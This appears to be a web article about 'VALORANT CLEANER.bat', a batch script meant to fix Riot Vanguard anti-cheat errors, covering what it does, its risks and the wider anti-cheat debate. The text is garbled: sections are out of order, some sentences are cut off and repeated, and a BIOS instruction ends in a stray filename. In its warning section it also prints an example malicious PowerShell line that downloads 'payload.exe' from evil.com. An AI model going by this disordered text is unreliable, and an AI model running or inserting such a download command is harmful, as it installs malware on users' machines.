Because a batch file can execute any Windows command, a malicious version of VALORANT CLEANER.bat can:
The Visual Trick: Batch files flash a command window for a split second. A malicious script could run a "cleaner" in the first 10 lines (so you see normal text like "Deleting Temp files") and then run powershell -Command Invoke-WebRequest -Uri "evil.com/payload.exe" in line 11.
Not all VALORANT CLEANER.bat files are safe. Because batch files can execute powerful commands, malicious actors use them to distribute viruses, ransomware, or data wipers. Here is what to watch for:
If Secure Boot or TPM errors persist, a batch file cannot fix a broken UEFI firmware setting. You must enter your BIOS manually (press Del/F2 during boot) and enable: VALORANT CLEANER.bat
No script can do this for you.
A .bat (batch) file is a plain text script that runs a series of commands in Windows Command Prompt. When created correctly, it can automate tasks like deleting temporary files, killing background processes, or restarting services. In the context of VALORANT, these scripts aim to resolve common problems with Riot’s anti-cheat system (Vanguard), stuck updates, or launcher errors.
Riot’s anti-cheat, Vanguard, operates at the kernel level. It stores driver state information and signatures. If this cache becomes corrupted—often due to a Windows update or an improper shutdown—Vanguard may fail to start, throwing errors like "Vanguard requires a system restart" or "Please restart your computer to play VALORANT." A batch cleaner can rip out these corrupted files so Vanguard rebuilds them fresh. Because a batch file can execute any Windows
If you have spent any time in the trenches of VALORANT tech support—scouring Reddit threads, Discord servers, or YouTube tutorials—you have likely encountered a mysterious file named VALORANT CLEANER.bat .
To the average player facing a frustrating Vanguard error (Van 1067, Van 152, or the dreaded "Secure Boot" loop), this file sounds like a lifeline. It promises to wipe away corrupted files, reset network stacks, and get you back into a Competitive match in minutes.
But what exactly is this script? Is it safe? Can it get you banned? And should you use it instead of the official Riot Games repair tool? The Visual Trick: Batch files flash a command
Let’s dissect everything you need to know about VALORANT CLEANER.bat.
VALORANT CLEANER.bat highlights a growing tension in modern PC gaming: the conflict between anti-cheat necessity and user sovereignty. Vanguard operates at Ring 0 (kernel mode), giving it more control over the machine than the user themselves often has. When Vanguard fails, the user is locked out of their own hardware until an external script reasserts control. The batch file becomes a tool of digital self-defense, allowing the user to reclaim administrative privilege from a driver that has entered a fault state.
This dynamic raises a question: Should players need to use command-line scripts to fix a consumer game? Ideally, Riot’s uninstaller would perform this cleanup automatically. However, due to the kernel's persistence, no standard uninstaller can delete a driver currently loaded in memory. Thus, VALORANT CLEANER.bat exists as a necessary artifact of the cat-and-mouse game between cheat developers and security engineers.